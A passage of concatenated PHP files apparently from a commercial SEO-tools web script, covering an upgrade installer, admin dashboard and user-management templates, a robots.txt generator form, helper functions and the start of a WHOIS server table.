fb_app_secret,DROP COLUMN g_client_id,DROP COLUMN g_client_secret,DROP COLUMN g_redirect_uri'); mysqli_query($con, 'ALTER TABLE site_info ADD social_links text, ADD other_settings text'); $other = $social_links = array(); $result = mysqli_query($con,"SELECT * FROM site_info WHERE id='1'"); $row = mysqli_fetch_array($result); $social_links['twit'] = Trim($row['twit']); $social_links['face'] = Trim($row['face']); $social_links['gplus'] = Trim($row['gplus']); $social_links['linkedin'] = 'https://linkedin.com'; $other['other']['maintenance_mes'] = 'We expect to be back within the hour.&lt;br/&gt;Sorry for the inconvenience.'; $other['other']['footer_tags'] = 'seo, turbo, balaji'; $other['other']['ddos_check'] = ''; $other['other']['ddos'] = '1'; $other['other']['maintenance'] = ''; $other['other']['ga'] = Trim($row['ga']); $other['other']['dbbackup'] = array('gzip' => 'on', 'cronopt' => 'daily'); $other['other']['sitemap'] = array('cronopt' => 'daily','auto' => 'on','gzip' => '','cron' => '','multilingual' => '','priority' => '0.9', 'freqrange' => 'daily',); $otherStr = arrToDbStr($con, $other); $socialStr = arrToDbStr($con, $social_links); mysqli_query($con, "UPDATE site_info SET social_links='$socialStr', other_settings='$otherStr' WHERE id='1'"); mysqli_query($con, 'ALTER TABLE site_info DROP COLUMN twit,DROP COLUMN face,DROP COLUMN gplus,DROP COLUMN ga'); mysqli_query($con, 'ALTER TABLE users ADD added_date text, ADD firstname text, ADD lastname text, ADD company text, ADD telephone text, ADD address1 text, ADD address2 text, ADD city text, ADD state text, ADD statestr text, ADD postcode text, ADD country text, ADD userdata text'); echo 'Installing new tables and queries <br />'; $completed = true; $completed = installMySQLdb($con, INSTALL_DIR.'upgrade.sql'); if($completed) echo 'Installation Completed!'; else echo 'Installation Completed with Errors!'; if($completed){ //Clear the Installer Files unlink(INSTALL_DIR.'install.php'); unlink(INSTALL_DIR.'process.php'); unlink(INSTALL_DIR.'finish.php'); unlink(INSTALL_DIR.'atozseoinstall.sql'); unlink(INSTALL_DIR.'upgrade.sql'); unlink(INSTALL_DIR.'upgrade.php'); unlink(ROOT_DIR.'config.php'); if(file_exists(INSTALL_DIR.'install.php')) echo '<br /> Alert: Unable to delete installation files.<br /> Manually delete installation folder ("/admin/install/") before accessing your site.'; } die(); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <style> table { table-layout: fixed; width: 100%; } td { word-wrap: break-word; } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content" id="contentBox"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> <div style="position:absolute; top:4px; right:15px;"> <div id="reportrange" class="pull-right" style="background: #fff; cursor: pointer; padding: 5px 10px; border: 1px solid #ccc; width: 100%"> <i class="glyphicon glyphicon-calendar fa fa-calendar"></i>&nbsp; <span></span> <b class="caret"></b> </div> </div> </div><!-- /.box-header ba-la-ji --> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div id="loadingBar" class="text-center hide"> <div>Processing...</div> <img src="<?php echo $loadingBar; ?>" /> </div> <table id="visitorsTable" class="table table-bordered table-hover visitorsTable"> <thead> <tr> <th>Visitor Details</th> <th>OS/Browser Details</th> <th>Pages Viewed</th> </tr> </thead> <tbody id="visitorsTableBody"> <?php echo $rainbowTrackBalaji; ?> </tbody> </table> <br /> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $trackLink = adminLink('ajax/visitors-range',true); $footerAddArr[] = <<<EOD <script type="text/javascript"> var visitTab; $(function() { var firstTime = 2; var start = moment(); var end = moment(); function cb(start, end) { $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY')); if(firstTime != 2){ $('#loadingBar').removeClass("hide"); jQuery.get("$trackLink"+"/"+start.format('YYYY-MM-DD')+"/"+end.format('YYYY-MM-DD'),function(data){ visitTab.destroy(); $("#visitorsTableBody").html(data); visitTab = $('#visitorsTable').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false }); $('#loadingBar').addClass("hide"); }); } firstTime = 3; } $('#reportrange').daterangepicker({ startDate: start, endDate: end, ranges: { 'Today': [moment(), moment()], 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')], 'Last 7 Days': [moment().subtract(6, 'days'), moment()], 'Last 30 Days': [moment().subtract(29, 'days'), moment()], 'This Month': [moment().startOf('month'), moment().endOf('month')], 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')] } }, cb); cb(start, end); }); $(function () { visitTab = $('#visitorsTable').DataTable({ "paging": true, "lengthChange": false, "searching": false, "ordering": false, "info": true, "autoWidth": false }); }); $(function () { $('[data-toggle="tooltip"]').tooltip() }); jQuery(document).ready(function(){ $(document).on("click",".paginate_button", function(){ setTimeout(function(){ var pos = $('#contentBox').offset(); $('body,html').animate({ scrollTop: pos.top }); }, 1); }); }); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /><br /> <table class="table table-bordered table-striped"> <tbody> <tr> <td><strong><?php echo $lang['175']; ?></strong></td> <td><span class="badge bg-green"><?php echo $browser; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['176']; ?></strong></td> <td><span class="badge bg-aqua"><?php echo $version; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['177']; ?></strong></td> <td><span class="badge bg-purple"><?php echo $platform; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['178']; ?></strong></td> <td><span class="badge bg-orange"><?php echo $myUA; ?></span></td> </tr> </tbody> </table> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> <div style="position:absolute; top:4px; right:15px;"> <?php if($pointOut == ''){ ?> <a href="<?php adminLink($controller.'/export'); ?>" class="btn btn-primary"><i class="fa fa-fw fa-share-square"></i> Export</a> <?php } ?> </div> </div><!-- /.box-header ba-la-ji --> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <?php if($pointOut == 'info'){ ?> <div class="row"> <div class="col-md-3"> <!-- Profile Image --> <div class="box box-default"> <div class="box-body box-profile"> <img class="profile-user-img img-responsive img-circle" src="<?php echo $userInfo['picture']; ?>" alt="User profile picture"> <h3 class="profile-username text-center"><?php echo $userInfo['full_name']; ?></h3> <p class="text-muted text-center"><?php echo $userInfo['verified']; ?></p> <ul class="list-group list-group-unbordered"> <li class="list-group-item"> <b>Registered At </b> <a class="pull-right"><?php echo $registeredAt; ?></a> </li> <li class="list-group-item"> <b>IP Address </b> <a class="pull-right"><?php echo $userInfo['ip']; ?></a> </li> <li class="list-group-item"> <b>Detected Country</b> <a class="pull-right"><?php echo $detectedUserCountry; ?></a> </li> </ul> <a target="_blank" href="<?php createLink('ajax/user-acc/login/'.$userInfo['username']); ?>" class="btn btn-primary btn-block"><b>Login into User Account</b></a> </div> <!-- /.box-body --> </div> </div> <div class="col-md-9"> <div class="nav-tabs-custom"> <ul class="nav nav-tabs"> <li class="active"><a href="#overview" data-toggle="tab">Overview</a></li> </ul> <div class="tab-content"> <div class="active tab-pane" id="overview"> <br /> <div class="table-responsive"> <table class="table table-hover table-bordered"> <thead> <tr> <td colspan="1" class="bold">General Information</td> </tr> </thead> <tbody> <tr> <td style="width: 200px;">UID</td> <td><span><?php echo $userInfo['id']; ?></span></td> </tr> <tr> <td style="width: 200px;">Username</td> <td><span><?php echo $userInfo['username']; ?></span></td> </tr> <tr> <td style="width: 200px;">Email ID</td> <td><span><?php echo $userInfo['email_id']; ?></span></td> </tr> <tr> <td style="width: 200px;">Registration Type</td> <td><span><?php echo $userInfo['platform']; ?></span></td> </tr> <tr> <td style="width: 200px;">Oauth ID</td> <td><span><?php echo $userInfo['oauth_uid']; ?></span></td> </tr> <tr> <td style="width: 200px;">Full Name</td> <td><span><?php echo $userInfo['full_name']; ?></span></td> </tr> <tr> <td style="width: 200px;">User Country</td> <td><span><?php echo country_code_to_country($userInfo['country']); ?></span></td> </tr> <tr> <td style="width: 200px;">Joined on</td> <td><span><?php echo $userInfo['added_date']; ?></span></td> </tr> </tbody> </table> </div> <br /> <?php if($userInfo['address1'] != ''){ ?> <div class="table-responsive"> <table class="table table-hover table-bordered"> <thead> <tr> <td colspan="1" class="bold">Personal Information</td> </tr> </thead> <tbody> <tr> <td style="width: 30%;">First Name</td> <td><span><?php echo $userInfo['firstname']; ?></span></td> </tr> <tr> <td style="width: 200px;">Last Name</td> <td><span><?php echo $userInfo['lastname']; ?></span></td> </tr> <?php if($userInfo['company'] != '') { ?> <tr> <td style="width: 200px;">Company</td> <td><span><?php echo $userInfo['company']; ?></span></td> </tr> <?php } ?> <tr> <td style="width: 200px;">Address Line 1</td> <td><span><?php echo $userInfo['address1']; ?></span></td> </tr> <?php if($userInfo['address2'] != '') { ?> <tr> <td style="width: 200px;">Address Line 2</td> <td><span><?php echo $userInfo['address2']; ?></span></td> </tr> <?php } ?> <tr> <td style="width: 200px;">City</td> <td><span><?php echo $userInfo['city']; ?></span></td> </tr> <tr> <td style="width: 200px;">State</td> <td><span><?php echo $userInfo['statestr']; ?></span></td> </tr> <tr> <td style="width: 200px;">Country</td> <td><span><?php echo $userInfo['country']; ?></span></td> </tr> <tr> <td style="width: 200px;">Post Code</td> <td><span><?php echo $userInfo['postcode']; ?></span></td> </tr> <tr> <td style="width: 200px;">Telephone</td> <td><span><?php echo $userInfo['telephone']; ?></span></td> </tr> </tbody> </table> </div> <?php } else { ?> <strong>Personal information not mentioned!</strong> <?php } ?> </div> <div class="tab-pane" id="activity"> </div> </div> </div> </div> </div> <?php } else { ?> <table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="mySitesTable"> <thead> <tr> <th>Username</th> <th><NAME></th> <th>Email ID</th> <th>Joined Date</th> <th>Platform</th> <th>Oauth ID</th> <th>Ban Access</th> <th>Actions</th> </tr> </thead> <tbody> </tbody> </table> <?php } ?> <br /> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $ajaxLink = adminLink('?route=ajax/manageUsers',true); $footerAddArr[] = <<<EOD <script type="text/javascript" language="javascript" class="init"> $(document).ready(function() { $('#mySitesTable').dataTable( { "processing": true, "serverSide": true, "ajax": "$ajaxLink" } ); } ); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <script> var msg1 = "<?php makeJavascriptStr($lang['163'],true); ?>"; var msg2 = "# <?php makeJavascriptStr($lang['164'],true); ?>\n"; </script> <script src='<?php createLink('core/library/robots.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <form> <div> <table id="roboTable" class="nostyle"> <tbody><tr> <td><b><?php echo $lang['150']; ?>:</b></td> <td> <select size="1" name="allow" id="allow" class="form-control" > <option value=" " selected=""><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> <td>&nbsp;</td> </tr> <tr><td>&nbsp;</td><td>&nbsp;</td> <td>&nbsp;</td></tr> <tr> <td><b><?php echo $lang['153']; ?>:</b></td> <td colspan="2"> <select size="1" name="delay" id="delay" class="form-control"> <option value="" selected=""><?php echo $lang['154']; ?></option> <option value="5">5 Seconds</option> <option value="10">10 Seconds</option> <option value="20">20 Seconds</option> <option value="60">60 seconds</option> <option value="120">120 Seconds</option> </select></td> </tr> <tr><td>&nbsp;</td><td>&nbsp;</td> <td>&nbsp;</td></tr> <tr> <td><strong><?php echo $lang['155']; ?>: <small><?php echo $lang['156']; ?>&nbsp;</small></strong></td> <td colspan="2"> <input type="text" value="" placeholder="http://www.example.com/sitemap.xml" name="sitemap" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td> &nbsp;</td> <td> &nbsp;</td> </tr><tr> <td><b><?php echo $lang['157']; ?>:</b></td> <td> Google</td> <td> <select size="1" name="google" id="google" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Google Image</td> <td> <select size="1" name="gimage" id="gimage" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Google Mobile</td> <td> <select size="1" name="gmobile" id="gmobile" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> MSN Search</td> <td> <select size="1" name="msn" id="msn" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Yahoo</td> <td> <select size="1" name="yahoo" id="yahoo" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Yahoo MM</td> <td> <select size="1" name="ymm" id="ymm" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Yahoo Blogs</td> <td> <select size="1" name="blogs" id="blogs" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Ask/Teoma</td> <td> <select size="1" name="teoma" id="teoma" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> GigaBlast</td> <td> <select size="1" name="gigablast" id="gigablast" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> DMOZ Checker</td> <td> <select size="1" name="dmoz" id="dmoz" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Nutch</td> <td> <select size="1" name="nutch" id="nutch" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Alexa/Wayback</td> <td> <select size="1" name="alexa" id="alexa" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Baidu</td> <td> <select size="1" name="baidu" id="baidu" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> Naver</td> <td> <select size="1" name="naver" id="naver" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td> MSN PicSearch</td> <td> <select size="1" name="psbot" id="psbot" class="form-control"> <option value="" selected=""><?php echo $lang['158']; ?></option> <option value=" "><?php echo $lang['151']; ?></option> <option value=" /"><?php echo $lang['152']; ?></option> </select></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> &nbsp;</td> </tr> <tr> <td><b><?php echo $lang['159']; ?>:</b></td> <td colspan="2"> <i><?php echo $lang['160']; ?> "/"</i></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> <input type="text" value="/cgi-bin/" size="70" name="dir1" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> <input type="text" size="70" name="dir2" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> <input type="text" size="70" name="dir3" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> <input type="text" size="70" name="dir4" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> <input type="text" size="70" name="dir5" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> <input type="text" size="70" name="dir6" class="form-control" /></td> </tr> <tr> <td>&nbsp;</td> <td colspan="2"> &nbsp;</td> </tr> </tbody></table> </div> <p> <input type="button" class="btn btn-success" onclick="genRobots(this.form,msg1,msg2)" value="<?php echo $lang['161']; ?>" /> <input type="button" class="btn btn-danger" onclick="genRobots(this.form,msg1,msg2,true)" value="Create and Save as Robots.txt" /> <input type="reset" class="btn btn-primary" value="Clear" /> <br /><br /> <textarea class="form-control" readonly="" style="height: 270px;" rows="3" id="robolist" name="robolist"></textarea> </p> <p><?php echo $lang['162']; ?></p> </form> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Dashboard'; $subTitle = 'Dashboard'; $todayArr = $footerAddArr = $pageViewHistory = $pageViewDate = array(); $userHistoryData = ''; $today_page = $today_users_count = $today_visit = $onlineNow = 0; $footerAdd = $updater = true; $fullLayout = 1; $newUsersData = $newsLink = $jsonData = $latestData = $pageViewData = $adminHistoryData = ''; //Load GEO Library require_once(LIB_DIR.'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); //Icons $flagPath = ROOT_DIR.'resources'.D_S.'flags'.D_S.'default'.D_S.'24'.D_S; $iconPath = ROOT_DIR.'resources'.D_S.'icons'.D_S; $flagLink = $baseURL.'resources/flags/default/24/'; $iconLink = $baseURL.'resources/icons/'; //Database Size $query = "SELECT table_schema '$dbName', SUM(data_length + index_length) / 1024 / 1024 'db_size_in_mb' FROM information_schema.TABLES WHERE table_schema='$dbName' GROUP BY table_schema"; $result = mysqli_query($con, $query); while ($row = mysqli_fetch_array($result)){ $database_size = round(Trim($row['db_size_in_mb']), 1); } //Disk Size $ds = disk_total_space("/"); $df = disk_free_space("/"); //Online Now $onlineData = getOnlineUsers($con); $onlineNow = $onlineData[0]; //Today Page / Unique View $todayArr = getTodayViews($con); $today_page = $todayArr['views']; $today_visit = $todayArr['unique']; //Today New Users $result = mysqli_query($con, "SELECT * FROM users where date='".date('m/d/Y')."'"); while ($row = mysqli_fetch_array($result)){ $today_users_count = $today_users_count + 1; } //Admin History $result = mysqli_query($con, 'SELECT * FROM admin_history ORDER BY id DESC LIMIT 9'); while ($row = mysqli_fetch_array($result)){ $adminCountryCode = $adminBrowser = $adminCountry = $version = ''; if(isValidIPv6($row['ip'])) $adminCountryCode = geoip_country_code_by_addr_v6($giv6, $row['ip']); else $adminCountryCode = geoip_country_code_by_addr($gi, $row['ip']); $adminCountry = country_code_to_country($adminCountryCode); $adminCountry = (!empty($adminCountry)) ? $adminCountry : 'Unknown'; $adminBrowser = parse_user_agent($row['browser']); extract($adminBrowser); $adminBrowser = (!empty($browser)) ? $browser : 'Unknown'; if(file_exists($flagPath.strtolower(Trim($adminCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($adminCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; if(file_exists($iconPath.strtolower($browser).'.png')) $browserLink = $iconLink.strtolower($browser).'.png'; else $browserLink = $iconLink.'unknown.png'; $adminHistoryData .= '<tr> <td>'.$row['last_date'].'</td> <td><span class=\'badge bg-'.rndColor().'\'>'.$row['ip'].'</span></td> <td><img src="'.$coLink.'" alt="'.$adminCountryCode.'" /> '.ucfirst($adminCountry).'</td> <td><img data-toggle="tooltip" data-placement="top" title="Browser: '.$browser.' '.$version.'" src="'.$browserLink.'" alt="'.$browser.'" /> '.$browser.'</td> </tr>'; } //Pageview History $pageViewHistory = array_reverse(getTrackViews($con,7)); foreach($pageViewHistory as $dbDate => $dbArr){ $dbDate = date('jS M', strtotime($dbDate)); $pageViewData.= '{y: \''.$dbDate.'\', item1: '.$dbArr['unique'].', item2: '.$dbArr['views'].'},'.PHP_EOL; $pageViewDate[] = $dbDate; } $pageViewDate = array_reverse($pageViewDate); $dateStr = makeJavascriptArray($pageViewDate).'[CountX]'; //Update Check & News Panel $newsLink = 'http://api.prothemes.biz/tools/latest_news.php'; if(isset($item_purchase_code)) $jsonData = simpleCurlGET($newsLink.'?v2&domain='.createLink('',true).'&code='.$item_purchase_code); else die(); $latestData = json_decode($jsonData,true); if($latestData['version'] == VER_NO) $updater = false; //User History $result = mysqli_query($con, 'SELECT * FROM users ORDER BY id DESC LIMIT 7'); while ($row = mysqli_fetch_array($result)){ $userCountry = $userCountryCode = ''; if(isValidIPv6($row['ip'])) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $row['ip']); else $userCountryCode = geoip_country_code_by_addr($gi, $row['ip']); $userCountry = country_code_to_country($userCountryCode); $userCountry = (!empty($userCountry)) ? $userCountry : 'Unknown'; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $row['added_date'] = date('jS M Y h:i:sA', strtotime($row['added_date'])); $newUsersData .= '<tr> <td>'.$row['username'].'</td> <td>'.$row['added_date'].'</td> <td><img src="'.$coLink.'" alt="'.$userCountryCode.'" /> '.ucfirst($userCountry).'</td> </tr>'; } //Recent Access History $result = mysqli_query($con, 'SELECT * FROM recent_history ORDER BY id DESC LIMIT 7'); while ($row = mysqli_fetch_array($result)){ $userCountry = $userCountryCode = ''; if(isValidIPv6($row['visitor_ip'])) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $row['visitor_ip']); else $userCountryCode = geoip_country_code_by_addr($gi, $row['visitor_ip']); $userCountry = country_code_to_country($userCountryCode); $userCountry = (!empty($userCountry)) ? $userCountry : 'Unknown'; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $row['date'] = date('jS M Y', strtotime($row['date'])); $userHistoryData .= '<tr> <td style="color: '. rndFlatColor() .';">'.$row['tool_name'].'</td> <td>'.$row['user'].'</td> <td><img src="'.$coLink.'" alt="'.$userCountryCode.'" /> '.ucfirst($userCountry).'</td> <td>'.$row['date'].'</td> </tr>'; } geoip_close($gi); geoip_close($giv6); ?><file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ function GetDirectorySize($path){ $bytestotal = 0; if ($path !== false){ foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path,FilesystemIterator::SKIP_DOTS)) as $object){ $bytestotal += $object->getSize(); } } return $bytestotal; } function successMsgAdmin($msg, $dismissable = true){ return ' <div class="alert alert-success '.($dismissable ? 'alert-dismissable' : '').'"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> '.$msg.' </div>'; } function errorMsgAdmin($msg, $dismissable = true){ return ' <div class="alert alert-danger '.($dismissable ? 'alert-dismissable' : '').'"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> ' . $msg . ' </div>'; } function warnMsgAdmin($msg, $dismissable = true){ return ' <div class="alert alert-warning '.($dismissable ? 'alert-dismissable' : '').'"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> ' . $msg . ' </div>'; } function rndColor(){ $bageColor = array( 'blue', 'red', 'green', 'purple', 'light-blue', 'yellow'); $rndColor = $bageColor[array_rand($bageColor)]; return $rndColor; } function rndFlatColor(){ $bageColor = array( '#1ccdaa','#2ecc71','#3498db','#9b59b6','#34495e','#16a085','#27ae60','#2980b9','#8e44ad','#2c3e50','purple', '#f39c12','#e67e22','#e74c3c','#95a5a6','#7f8c8d','#d35400','#c0392b','#1E8BC3','#1BA39C','#DB0A5B', '#96281B'); $rndColor = $bageColor[array_rand($bageColor)]; return $rndColor; } function pickUpRandom($arr){ return $arr[array_rand($arr)]; } ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function split_up_me($url) { $url = htmlspecialchars_decode($url); $arr = parse_url($url); $arg_arr = explode("&", $arr['query']); $file_arr = explode("/", $arr['path']); foreach ($file_arr as $val) { $filename = $val; } $file_without = explode(".", $filename); $file_without = $file_without[0]; foreach ($arg_arr as $val) { $arg[] = explode("=", $val); } return array( $filename, $file_without, $arg); } function checkDyn($url) { $url = htmlspecialchars_decode($url); $arr = parse_url($url); if ($arr['query'] == '') { return '0'; } else { return '1'; } } ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools v2 * @copyright 2020 ProThemes.Biz * */ class whois { private $WHOIS_SERVERS = array( "com" => array("whois.verisign-grs.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "net" => array("whois.verisign-grs.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "org" => array("whois.pir.org", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "info" => array("whois.afilias.info", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "biz" => array("whois.neulevel.biz", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "co" => array("whois.verisign-grs.com", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Expiration Date:(.*)/"), "io" => array("whois.nic.io", "/First Registered :(.*)/", "/Last Updated :(.*)/", "/Expiry :(.*)/"), "us" => array("whois.nic.us", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "uk" => array("whois.nic.uk", "/Registered on:(.*)/", "/Last updated:(.*)/", "/Expiry date:(.*)/"), "ca" => array("whois.cira.ca", "/Creation date:(.*)/", "/Updated date:(.*)/", "/Expiry date:(.*)/"), "in" => array("whois.registry.in", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date: (.*)/"), "me" => array("whois.nic.me", "/Creation Date:(.*)/", "/Updated Date:(.*)/", "/Registry Expiry Date:(.*)/"), "tel" => array("whois.nic.tel", "/Domain Registration Date:(.*)/", "/Domain Last Updated Date:(.*)/", "/Domain Expiration Date:(.*)/"), "mobi" 